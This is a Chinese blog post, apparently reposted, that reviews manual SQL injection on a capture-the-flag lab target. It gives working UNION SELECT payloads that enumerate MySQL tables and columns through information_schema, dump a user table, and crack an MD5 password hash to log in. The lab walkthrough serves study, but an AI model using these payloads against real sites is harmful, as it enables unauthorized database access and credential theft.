SQL手工注入知识回顾
Posted fmsxxm
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL手工注入知识回顾相关的知识,希望对你有一定的参考价值。
自从参加工作以来,项目上关于sql注入的问题全都甩给了sqlmap,现在想起手工注入,大脑是一片茫然,所以趁着自己还记得什么叫sql注入,再重新捡一捡。
墨者平台的靶场。
下面有公告。
id=1‘ 返回失败,id=1 and 1=1返回正常,id=1 and 1=2返回失败,说明存在数字型注入。
接下来是利用order by来查字段数,order by 4的时候正常返回,5的时候返回失败,说明有4个字段。order by 4即表示以第4个字段为基准排序,order by 5出错,这表明没有第5个字段。
输入and 1=2 union select 1,2,3,4。and 1=2 是为了让前面的查询失败,这样返回页面上就可以显示我们第二个查询,由下图可见2,3字段可以回显,所以我们可以把查询放在2或3里,这样就能在页面上看到返回信息。
把database()函数放在3的位置上,返回数据库名,数据库名为mozhe_Discuz_StormGroup
题目已经给了是mysql,那么就用MYSQL的函数来查询表名
id=1 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup‘
用froup_concat可以将多个字符串整合成一个字符串,这样就可以返回所有的表名,MYSQL>5.0的版本可以通过查询information_schema来获取表名
成功返回了表名,那么接下来就是去查表里的内容了
id=1 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=‘mozhe_Discuz_StormGroup‘ and table_name=‘StromGroup_member‘
id=1 and 1=2 union select 1,2,group_concat(id),4 from StormGroup_member,因为已经知道了表名和列名,所以就直接直接查询就行了,依次查看各列
name
password 加密过的356f589a7df439f6f744ff19bb8092c0和30b6a7cfef5cee990979b535f6b50984
status
因为第二个账号的status为1,所以先MD5解密这个账号的密码,解密出来是754882
登进去,里面就有flag
这种是完全没有防护的,后面再做一些有防护的sql注入练习。
(如果有错误,欢迎大佬指点,萌新们也可以多多交流,共同成长。)
以上是关于SQL手工注入知识回顾的主要内容,如果未能解决你的问题,请参考以下文章
第299天打卡(知识点回顾 Mybatis中的 ${ } 和 #{ }的区别)
第299天打卡(知识点回顾 Mybatis中的 ${ } 和 #{ }的区别)